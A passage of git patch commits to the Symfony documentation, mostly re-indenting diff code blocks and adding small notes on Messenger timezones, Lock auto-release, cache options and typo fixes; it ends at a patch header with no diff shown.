@@ -53,18 +53,18 @@ You can enable `JSX with Vue.js`_ by configuring the second parameter of the
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     -     .enableVueLoader()
     +     .enableVueLoader(() => {}, {
     +         useJsx: true
     +     })
-    ;
+      ;
 
 Next, run or restart Encore. When you do, you will see an error message helping
 you install any missing dependencies. After running that command and restarting
diff --git a/http_cache.rst b/http_cache.rst
index 0bd62b30c8e..6061ed128cc 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -93,20 +93,20 @@ caching kernel:
 
 .. code-block:: diff
 
-    // public/index.php
+      // public/index.php
 
     + use App\CacheKernel;
-    use App\Kernel;
+      use App\Kernel;
 
-    // ...
-    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+      // ...
+      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
     +     $kernel = new CacheKernel($kernel);
     + }
 
-    $request = Request::createFromGlobals();
-    // ...
+      $request = Request::createFromGlobals();
+      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
diff --git a/page_creation.rst b/page_creation.rst
index 90096beb4d4..817c59fc6ff 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -105,21 +105,21 @@ You can now add your route directly *above* the controller:
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class LuckyController
-    {
+      class LuckyController
+      {
     +     /**
     +      * @Route("/lucky/number")
     +      */
-        public function number()
-        {
-            // this looks exactly the same
-        }
-    }
+          public function number()
+          {
+              // this looks exactly the same
+          }
+      }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
 like before! Annotations are the recommended way to configure routes.
@@ -209,16 +209,16 @@ Make sure that ``LuckyController`` extends Symfony's base
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 Now, use the handy ``render()`` function to render a template. Pass it a ``number``
 variable so you can use it in Twig::
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 16724e3ee90..1b929667b92 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -75,28 +75,28 @@ Thanks to Flex, after one command, you can start using Twig immediately:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Annotation\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class DefaultController
     + class DefaultController extends AbstractController
-    {
-         /**
-          * @Route("/hello/{name}")
-          */
-         public function index($name)
-         {
+      {
+           /**
+            * @Route("/hello/{name}")
+            */
+           public function index($name)
+           {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
     +            'name' => $name,
     +        ]);
-         }
-    }
+           }
+      }
 
 By extending ``AbstractController``, you now have access to a number of shortcut
 methods and tools, like ``render()``. Create the new template:
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index d88bb5d32ed..0d640d1746d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -138,12 +138,12 @@ difference is that it's done in the constructor:
 
 .. code-block:: diff
 
-    <?php
-    // src/GreetingGenerator.php
+      <?php
+      // src/GreetingGenerator.php
     + use Psr\Log\LoggerInterface;
 
-    class GreetingGenerator
-    {
+      class GreetingGenerator
+      {
     +     private $logger;
     +
     +     public function __construct(LoggerInterface $logger)
@@ -151,15 +151,15 @@ difference is that it's done in the constructor:
     +         $this->logger = $logger;
     +     }
 
-        public function getRandomGreeting()
-        {
-            // ...
+          public function getRandomGreeting()
+          {
+              // ...
 
     +        $this->logger->info('Using the greeting: '.$greeting);
 
-             return $greeting;
-        }
-    }
+               return $greeting;
+          }
+      }
 
 Yes! This works too: no configuration, no time wasted. Keep coding!
 
@@ -279,7 +279,7 @@ from ``dev`` to ``prod``:
 
 .. code-block:: diff
 
-    # .env
+      # .env
     - APP_ENV=dev
     + APP_ENV=prod
 
@@ -321,10 +321,10 @@ Thanks to a new recipe installed by Flex, look at the ``.env`` file again:
 
 .. code-block:: diff
 
-    ###> symfony/framework-bundle ###
-    APP_ENV=dev
-    APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
-    ###< symfony/framework-bundle ###
+      ###> symfony/framework-bundle ###
+      APP_ENV=dev
+      APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
+      ###< symfony/framework-bundle ###
 
     + ###> doctrine/doctrine-bundle ###
     + # ...
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 4fae7ef5991..b6ad8eaafdd 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -105,32 +105,32 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-    # config/routes.yaml
-    index:
+      # config/routes.yaml
+      index:
     -     path: /
     +     path: /hello/{name}
-        controller: 'App\Controller\DefaultController::index'
+          controller: 'App\Controller\DefaultController::index'
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     -     public function index()
     +     public function index($name)
-        {
+          {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
-        }
-    }
+          }
+      }
 
 Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
@@ -155,22 +155,22 @@ Instead, add the route *right above* the controller method:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     +    /**
     +     * @Route("/hello/{name}")
     +     */
-         public function index($name) {
-             // ...
-         }
-    }
+           public function index($name) {
+               // ...
+           }
+      }
 
 This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
diff --git a/security.rst b/security.rst
index 070c18b687c..a582997801b 100644
--- a/security.rst
+++ b/security.rst
@@ -238,13 +238,13 @@ Use this service to encode the passwords:
 
 .. code-block:: diff
 
-    // src/DataFixtures/UserFixtures.php
+      // src/DataFixtures/UserFixtures.php
 
     + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    // ...
+      // ...
 
-    class UserFixtures extends Fixture
-    {
+      class UserFixtures extends Fixture
+      {
     +     private $passwordEncoder;
 
     +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
@@ -252,19 +252,19 @@ Use this service to encode the passwords:
     +         $this->passwordEncoder = $passwordEncoder;
     +     }
 
-        public function load(ObjectManager $manager)
-        {
-            $user = new User();
-            // ...
+          public function load(ObjectManager $manager)
+          {
+              $user = new User();
+              // ...
 
     +         $user->setPassword($this->passwordEncoder->encodePassword(
     +             $user,
     +             'the_new_password'
     +         ));
 
-            // ...
-        }
-    }
+              // ...
+          }
+      }
 
 You can manually encode a password by running:
 
@@ -671,8 +671,8 @@ using annotations:
 
 .. code-block:: diff
 
-    // src/Controller/AdminController.php
-    // ...
+      // src/Controller/AdminController.php
+      // ...
 
     + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
@@ -681,18 +681,18 @@ using annotations:
     +  *
     +  * @IsGranted("ROLE_ADMIN")
     +  */
-    class AdminController extends AbstractController
-    {
+      class AdminController extends AbstractController
+      {
     +     /**
     +      * Require ROLE_ADMIN for only this controller method.
     +      *
     +      * @IsGranted("ROLE_ADMIN")
     +      */
-        public function adminDashboard()
-        {
-            // ...
-        }
-    }
+          public function adminDashboard()
+          {
+              // ...
+          }
+      }
 
 For more information, see the `FrameworkExtraBundle documentation`_.
 
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 768ce725a72..d78a415ff34 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -377,17 +377,17 @@ be redirected after success:
 
 .. code-block:: diff
 
-    // src/Security/LoginFormAuthenticator.php
+      // src/Security/LoginFormAuthenticator.php
 
-    // ...
-    public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-    {
-        // ...
+      // ...
+      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+      {
+          // ...
 
     -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
     +     // redirect to some "app_homepage" route - of wherever you want
     +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-    }
+      }
 
 Unless you have any other TODOs in that file, that's it! If you're loading users
 from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7a6a25b9618..7f0ff8b7f0b 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -27,22 +27,22 @@ your ``User`` class (the ``make:entity`` command is a good way to do this):
 
 .. code-block:: diff
 
-    // src/Entity/User.php
-    namespace App\Entity;
+      // src/Entity/User.php
+      namespace App\Entity;
 
-    // ...
+      // ...
 
-    class User implements UserInterface
-    {
-        // ...
+      class User implements UserInterface
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="string", unique=true, nullable=true)
     +      */
     +     private $apiToken;
 
-        // the getter and setter methods
-    }
+          // the getter and setter methods
+      }
 
 Don't forget to generate and run the migration:
 
@@ -518,13 +518,13 @@ are two possible fixes:
 
 .. code-block:: diff
 
-    // src/Security/MyIpAuthenticator.php
-    // ...
+      // src/Security/MyIpAuthenticator.php
+      // ...
 
     + use Symfony\Component\Security\Core\Security;
 
-    class MyIpAuthenticator
-    {
+      class MyIpAuthenticator
+      {
     +     private $security;
 
     +     public function __construct(Security $security)
@@ -532,8 +532,8 @@ are two possible fixes:
     +         $this->security = $security;
     +     }
 
-        public function supports(Request $request)
-        {
+          public function supports(Request $request)
+          {
     +         // if there is already an authenticated user (likely due to the session)
     +         // then return false and skip authentication: there is no need.
     +         if ($this->security->getUser()) {
@@ -542,8 +542,8 @@ are two possible fixes:
 
     +         // the user is not logged in, so the authenticator should continue
     +         return true;
-        }
-    }
+          }
+      }
 
 If you use autowiring, the ``Security``  service will automatically be passed to
 your authenticator.
diff --git a/security/securing_services.rst b/security/securing_services.rst
index 67b37dd792e..015d2a76400 100644
--- a/security/securing_services.rst
+++ b/security/securing_services.rst
@@ -14,14 +14,14 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
 .. code-block:: diff
 
-    // src/Newsletter/NewsletterManager.php
+      // src/Newsletter/NewsletterManager.php
 
-    // ...
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
     + use Symfony\Component\Security\Core\Security;
 
-    class SalesReportManager
-    {
+      class SalesReportManager
+      {
     +     private $security;
 
     +     public function __construct(Security $security)
@@ -29,19 +29,19 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +         $this->security = $security;
     +     }
 
-        public function sendNewsletter()
-        {
-            $salesData = [];
+          public function sendNewsletter()
+          {
+              $salesData = [];
 
     +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
     +             $salesData['top_secret_numbers'] = rand();
     +         }
 
-            // ...
-        }
+              // ...
+          }
 
-        // ...
-    }
+          // ...
+      }
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
diff --git a/service_container.rst b/service_container.rst
index 9c4892712ea..fec082a377c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -369,34 +369,34 @@ example, suppose you want to make the admin email configurable:
 
 .. code-block:: diff
 
-    // src/Service/SiteUpdateManager.php
-    // ...
+      // src/Service/SiteUpdateManager.php
+      // ...
 
-    class SiteUpdateManager
-    {
-        // ...
+      class SiteUpdateManager
+      {
+          // ...
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
     +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
-        {
-            // ...
+          {
+              // ...
     +        $this->adminEmail = $adminEmail;
-        }
+          }
 
-        public function notifyOfSiteUpdate(): bool
-        {
-            // ...
+          public function notifyOfSiteUpdate(): bool
+          {
+              // ...
 
-            $email = (new Email())
-                // ...
+              $email = (new Email())
+                  // ...
     -            ->to('manager@example.com')
     +            ->to($this->adminEmail)
-                // ...
-            ;
-            // ...
-        }
-    }
+                  // ...
+              ;
+              // ...
+          }
+      }
 
 If you make this change and refresh, you'll see an error:
 
diff --git a/setup/flex.rst b/setup/flex.rst
index 31f034db862..21c470a1073 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -58,14 +58,14 @@ manual steps:
 
    .. code-block:: diff
 
-       {
-           "require": {
-               "symfony/flex": "^1.0",
+         {
+             "require": {
+                 "symfony/flex": "^1.0",
        +   },
        +   "conflict": {
        +       "symfony/symfony": "*"
-           }
-       }
+             }
+         }
 
    Now you must add in ``composer.json`` all the Symfony dependencies required
    by your project. A quick way to do that is to add all the components that
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 5e11526b20e..5e6e138ff8d 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -33,14 +33,14 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 .. code-block:: diff
 
-    {
-        "require": {
+      {
+          "require": {
     +         "symfony/framework-bundle": "^4.0",
     +         "symfony/finder": "^4.0",
-            "...": "..."
-        },
+              "...": "..."
+          },
     +     "minimum-stability": "beta"
-    }
+      }
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 89f80ae109f..1562be9442b 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -131,26 +131,26 @@ starting with ``symfony/`` to the new major version:
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.4.*",
     +         "symfony/cache": "5.0.*",
     -         "symfony/config": "4.4.*",
     +         "symfony/config": "5.0.*",
     -         "symfony/console": "4.4.*",
     +         "symfony/console": "5.0.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their own versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
@@ -158,13 +158,13 @@ this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "allow-contrib": false,
+      "extra": {
+          "symfony": {
+              "allow-contrib": false,
     -       "require": "4.4.*"
     +       "require": "5.0.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09a88124fa8..66e261a6726 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -28,39 +28,39 @@ probably need to update the version constraint next to each library starting
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.3.*",
     +         "symfony/cache": "4.4.*",
     -         "symfony/config": "4.3.*",
     +         "symfony/config": "4.4.*",
     -         "symfony/console": "4.3.*",
     +         "symfony/console": "4.4.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 Your ``composer.json`` file should also have an ``extra`` block that you will
 *also* need to update:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "...": "...",
+      "extra": {
+          "symfony": {
+              "...": "...",
     -         "require": "4.3.*"
     +         "require": "4.4.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 

From c55c2a2745ce464fc90f0cb8c8d3d173205904ec Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 21:23:44 +0100
Subject: [PATCH 1910/7107] [Messenger] Added note about timezone

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0ee914216ca..1f4b116595e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1001,6 +1001,12 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+.. caution::
+
+    Messages are stored in the database will have a datetime property which is created
+    with the timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration is using the same storage.
+
 Redis Transport
 ~~~~~~~~~~~~~~~
 

From e98f953d7bda83018ed723ad37f48b1656862f21 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 3 Mar 2021 21:12:36 +0100
Subject: [PATCH 1911/7107] [Translation] Update translation.rst

The trans() in the translator service is a method, not a function.
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 20025b8b5cd..4a0137b94d8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -352,7 +352,7 @@ The ``translation:update`` command looks for missing translations in:
   defined in the :ref:`twig.default_path <config-twig-default-path>` and
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
-  the ``translator`` service and makes calls to the ``trans()`` function.
+  the ``translator`` service and makes calls to the ``trans()`` method.
 
 .. versionadded:: 4.3
 

From 3d5dadda9986dd58c5e9df44bb3fd6ce6c1cf438 Mon Sep 17 00:00:00 2001
From: Roland Franssen <franssen.roland@gmail.com>
Date: Fri, 5 Mar 2021 09:10:22 +0100
Subject: [PATCH 1912/7107] Update env_var_processors.rst

---
 configuration/env_var_processors.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 7b134067bef..a1c28de0c4f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -285,7 +285,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
+                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
             framework:
                trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
 
@@ -302,7 +302,7 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
                 </parameters>
 
                 <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
@@ -311,7 +311,7 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
             $container->loadFromExtension('framework', [
                 'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
             ]);

From e40b5d5ddefe1e61a14736d2a5f80521c3478d72 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 10:37:44 +0100
Subject: [PATCH 1913/7107] Reword

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 1f4b116595e..52f125a3b61 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1003,9 +1003,9 @@ auto_setup          Whether the table should be created
 
 .. caution::
 
-    Messages are stored in the database will have a datetime property which is created
-    with the timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration is using the same storage.
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
 
 Redis Transport
 ~~~~~~~~~~~~~~~

From b11322cc7f511054f9601e2bbaf55fe846633e2b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 15:32:52 +0100
Subject: [PATCH 1914/7107] [Cache] Remove `compression` option from Redis and
 Memcache

---
 components/cache/adapters/memcached_adapter.rst | 12 ------------
 components/cache/adapters/redis_adapter.rst     |  5 -----
 2 files changed, 17 deletions(-)

diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 9cd8c8cdd25..1b8103433e1 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -124,7 +124,6 @@ option names and their respective values::
 
         // associative array of configuration options
         [
-            'compression' => true,
             'libketama_compatible' => true,
             'serializer' => 'igbinary',
         ]
@@ -143,17 +142,6 @@ Available Options
     server(s). Any action that retrieves data, quits the connection, or closes
     down the connection will cause the buffer to be committed.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables payload compression, where item values longer than 100
-    bytes are compressed during storage and decompressed during retrieval.
-
-``compression_type`` (type: ``string``)
-    Specifies the compression method used on value payloads. when the
-    **compression** option is enabled.
-
-    Valid option values include ``fastlz`` and ``zlib``, with a default value
-    that *varies based on flags used at compilation*.
-
 ``connect_timeout`` (type: ``int``, default: ``1000``)
     Specifies the timeout (in milliseconds) of socket connection operations when
     the ``no_block`` option is enabled.
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 935afcd9f92..ef40de623e9 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -131,7 +131,6 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'compression' => true,
             'lazy' => false,
             'persistent' => 0,
             'persistent_id' => null,
@@ -151,10 +150,6 @@ Available Options
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
     available, and ``\Predis\Client`` otherwise.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables compression of items. This requires phpredis v4 or higher with
-    LZF support enabled.
-
 ``lazy`` (type: ``bool``, default: ``false``)
     Enables or disables lazy connections to the backend. It's ``false`` by
     default when using this as a stand-alone component and ``true`` by default

From e98cef46e8a9469049446c97e49fc8b6817de372 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Farys?= <pmg.farys@gmail.com>
Date: Thu, 4 Mar 2021 18:00:32 +0100
Subject: [PATCH 1915/7107] Fixed typo for YamlEncoder section

Minor typo fix for YamlEncoder section
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f554ed7cf76..f2c3285a33b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -994,7 +994,7 @@ The ``YamlEncoder`` Context Options
 The ``encode()`` method, like other encoder, uses ``context`` to set
 configuration options for the YamlEncoder an associative array::
 
-    $xmlEncoder->encode($array, 'xml', $context);
+    $yamlEncoder->encode($array, 'yaml', $context);
 
 These are the options available:
 

From 84ce746d39ce93e7c24a161763258794123be877 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 14:00:25 +0100
Subject: [PATCH 1916/7107] [Lock] Added paragraph about auto release

---
 components/lock.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 7b2c131947d..c1d3983aa46 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -199,6 +199,38 @@ This component also provides two useful methods related to expiring locks:
 ``getRemainingLifetime()`` (which returns ``null`` or a ``float``
 as seconds) and ``isExpired()`` (which returns a boolean).
 
+Automatically Releasing The Lock
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A Lock will be automatically released when the Lock object is destructed. This is
+an implementation detail that will be important when Locks are shared between processes.
+In the example below, the ``pcntl_fork()`` will create two processes and the Lock
+will be released automatically as soon as one process finishes::
+
+    // ...
+    $lock = $factory->createLock('report-generation', 3600);
+    if (!$lock->acquire()) {
+        return;
+    }
+
+    $pid = pcntl_fork();
+    if ($pid == -1) {
+        // Could not fork
+        exit(1);
+    } elseif ($pid) {
+        // Parent process
+        sleep(30);
+    } else {
+        // Child process
+        echo 'The lock will be released now.'
+        exit(0);
+    }
+    // ...
+
+To disable this behavior, one needs to set the 3rd argument to the ``LockFactory::createLock()``
+to false. That will make the Lock acquired for 3600 seconds or until ``Lock::release()``
+is called.
+
 The Owner of The Lock
 ---------------------
 

From 4ed8ef05f5c2638305fa0e70f76e2f66a043ded0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 11:00:58 +0100
Subject: [PATCH 1917/7107] Tweaks

---
 components/lock.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index e92603aec5e..e0baecd9560 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -203,10 +203,10 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A Lock will be automatically released when the Lock object is destructed. This is
-an implementation detail that will be important when Locks are shared between processes.
-In the example below, the ``pcntl_fork()`` will create two processes and the Lock
-will be released automatically as soon as one process finishes::
+Lock are automatically released when their Lock objects are destructed. This is
+an implementation detail that will be important when sharing Locks between
+processes. In the example below, ``pcntl_fork()`` creates two processes and the
+Lock will be released automatically as soon as one process finishes::
 
     // ...
     $lock = $factory->createLock('report-generation', 3600);
@@ -215,7 +215,7 @@ will be released automatically as soon as one process finishes::
     }
 
     $pid = pcntl_fork();
-    if ($pid == -1) {
+    if (-1 === $pid) {
         // Could not fork
         exit(1);
     } elseif ($pid) {
@@ -228,9 +228,9 @@ will be released automatically as soon as one process finishes::
     }
     // ...
 
-To disable this behavior, one needs to set the 3rd argument to the ``LockFactory::createLock()``
-to false. That will make the Lock acquired for 3600 seconds or until ``Lock::release()``
-is called.
+To disable this behavior, set to ``false`` the third argument of
+``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
+or until ``Lock::release()`` is called.
 
 The Owner of The Lock
 ---------------------

From 685cb2c6a684aca654b8be4baee4d81536da0a71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 12:19:52 +0100
Subject: [PATCH 1918/7107] Tweak

---
 bundles/prepend_extension.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index d0c6522e4ec..a332d45141f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,9 +82,11 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
-        // resolve config parameters e.g. %kernel.debug% to boolean value
+
+        // resolve config parameters e.g. %kernel.debug% to its boolean value
         $resolvingBag = $container->getParameterBag();
         $configs = $resolvingBag->resolveValue($configs);
+        
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);

From 126cf24a33a440396f8e7d7ffb961131272add0b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 20:05:19 +0100
Subject: [PATCH 1919/7107] [Cache] Adding about marshallers

---
 components/cache.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

